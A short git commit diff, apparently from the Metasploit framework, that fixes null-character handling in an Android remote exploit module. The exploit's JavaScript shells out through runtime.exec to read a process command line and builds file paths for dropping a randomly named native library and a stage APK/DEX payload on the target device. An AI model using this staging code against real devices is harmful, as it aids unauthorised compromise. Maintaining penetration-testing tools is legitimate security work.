Avoid the nullchar.

This commit is contained in:
Joe Vennix
2014-04-02 21:53:12 -05:00
parent 176cc84865
commit 55500ea2f3
@@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote
// $PPID does not seem to work on android 4.0, so we concat pids manually
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var ch, path = '/data/data/';
while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); }
while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
var dexPath = path + '/#{stagename}.dex';